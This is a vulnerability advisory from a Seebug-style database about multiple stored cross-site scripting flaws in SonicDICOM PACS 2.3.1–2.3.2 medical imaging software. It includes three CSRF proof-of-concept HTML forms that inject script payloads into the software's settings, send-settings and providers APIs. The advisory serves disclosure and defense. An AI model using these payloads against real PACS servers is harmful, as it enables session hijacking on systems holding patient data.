SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities

2017-12-11T00:00:00
ID SSV:96975
Type seebug
Reporter Root
Modified 2017-12-11T00:00:00

Description

Summary

SonicDICOM is PACS software that combines the capabilities of DICOM Server with web browser based DICOM Viewer.

Description

The application suffers from multiple stored XSS vulnerabilities. Input passed to several API POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Vendor

JIUN Corporation - https://www.sonicdicom.com

Affected Version

2.3.2 and 2.3.1

Tested On

Microsoft-HTTPAPI/2.0

PoC

CSRF Stored XSS via value parameter in settings API: ```

<html> <body> <form action="http://172.19.0.214/viewer/api/settings/add" method="POST"> <input type="hidden" name="id" value="testingus" /> <input type="hidden" name="key" value="viewer.display.overlay.tl" /> <input type="hidden" name="value" value="{"angle":{"item_name":"Angle","display_name":"\"><script>alert(1)</script>"}}" /> <input type="submit" value="Request #1" /> </form> </body> </html> ```

CSRF Stored XSS via Name parameter in sendsettings API: ```

<html> <body> <form action="http://172.19.0.214/viewer/api/sendsettings/create" method="POST"> <input type="hidden" name="Name" value=""><script>prompt(2)</script>" /> <input type="hidden" name="IPAddress" value="1.1.1.1" /> <input type="hidden" name="Port" value="123" /> <input type="hidden" name="CalledAETitle" value="asd" /> <input type="hidden" name="CallingAETitle" value="dsa" /> <input type="submit" value="Request #2" /> </form> </body> </html> ```

CSRF Stored XSS via Name parameter in providers API: ```

<html> <body> <form action="http://172.19.0.214/viewer/api/providers/create" method="POST"> <input type="hidden" name="Name" value=""><script>confirm(2)</script>" /> <input type="hidden" name="Port" value="123" /> <input type="hidden" name="AETitle" value="ZSL" /> <input type="hidden" name="AllowAnonymousUsers" value="true" /> <input type="hidden" name="IsAnonymous" value="true" /> <input type="submit" value="Request #3" /> </form> </body> </html> ```